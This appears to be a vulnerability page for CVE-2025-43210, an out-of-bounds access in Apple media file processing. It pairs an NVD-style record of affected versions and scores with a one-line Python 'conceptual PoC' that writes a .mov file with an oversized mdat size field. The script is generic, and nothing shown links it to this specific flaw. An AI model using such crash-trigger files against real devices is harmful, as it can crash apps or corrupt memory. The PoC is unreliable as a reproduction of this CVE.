CVE-2025-43210

import struct # Conceptual PoC for CVE-2025-43210: Out-of-bounds access in media file processing # This script generates a file with a malformed header to trigger the vulnerability. def create_malicious_file(filename): with open(filename, 'wb') as f: # Write a standard container header (e.g., ftyp for MP4) f.write(b'\x00\x00\x00\x20ftypmp42') # Write a malicious data box (mdat) with an invalid size field # This size is intentionally set to be larger than the provided data # to potentially trigger an OOB read during parsing. malicious_size = 0x41414141 # Corrupt size f.write(struct.pack('>I', malicious_size)) f.write(b'mdat') # Some payload data f.write(b'A' * 0x100) print(f"[+] Generated malicious file: {filename}") if __name__ == "__main__": create_malicious_file("cve_2025_43210_poc.mov")

{"cve": {"id": "CVE-2025-43210", "sourceIdentifier": "[email protected]", "published": "2026-04-02T19:20:05.243", "lastModified": "2026-04-03T18:56:15.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An out-of-bounds access issue was addressed with improved bounds checking. This issue is fixed in iOS 18.6 and iPadOS 18.6, iPadOS 17.7.9, macOS Sequoia 15.6, macOS Sonoma 14.7.7, macOS Ventura 13.7.7, tvOS 18.6, visionOS 2.6, watchOS 11.6. Processing a maliciously crafted media file may lead to unexpected app termination or corrupt process memory."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "17.7.9", "matchCriteriaId": "E2A4A63D-08FE-4021-8059-FB290A7F398A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionStartIncluding": "18.0", "versionEndExcluding": "18.6", "matchCriteriaId": "2E56FF85-7920-40F5-BF37-32C8C839CCC8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.6", "matchCriteriaId": "BD9D42A7-DE2A-4D5A-8C7B-002A60148483"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.0", "versionEndExcluding": "13.7.7", "matchCriteriaId": "038B07DF-897A-4651-9B8F-2CE40307BE31"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.7.7", "matchCriteriaId": "4F043DE0-C517-463D-9693-53789EB6132D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.6", "matchCriteriaId": "4CF17CE2-DB4B-48D1-81AF-67EF1EC7BB45"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.6", "matchCriteriaId": "FBC1698A-3E9C-4055-B23A-13A3C22BD6EE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.6", "matchCriteriaId": "EADBC0BD-ECAC-4E0A-B490-24649AFE5355"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*", "versionEndExcluding": "11.6", "matchCriteriaId": "35D9C2D7-6120-4631-8D0B-259641DFD85B"}]}]}], "references": [{"url": "https://support.apple.com/en-us/124147", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/124148", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/124149", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/124150", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/124151", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/124153", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/124154", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/124155", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}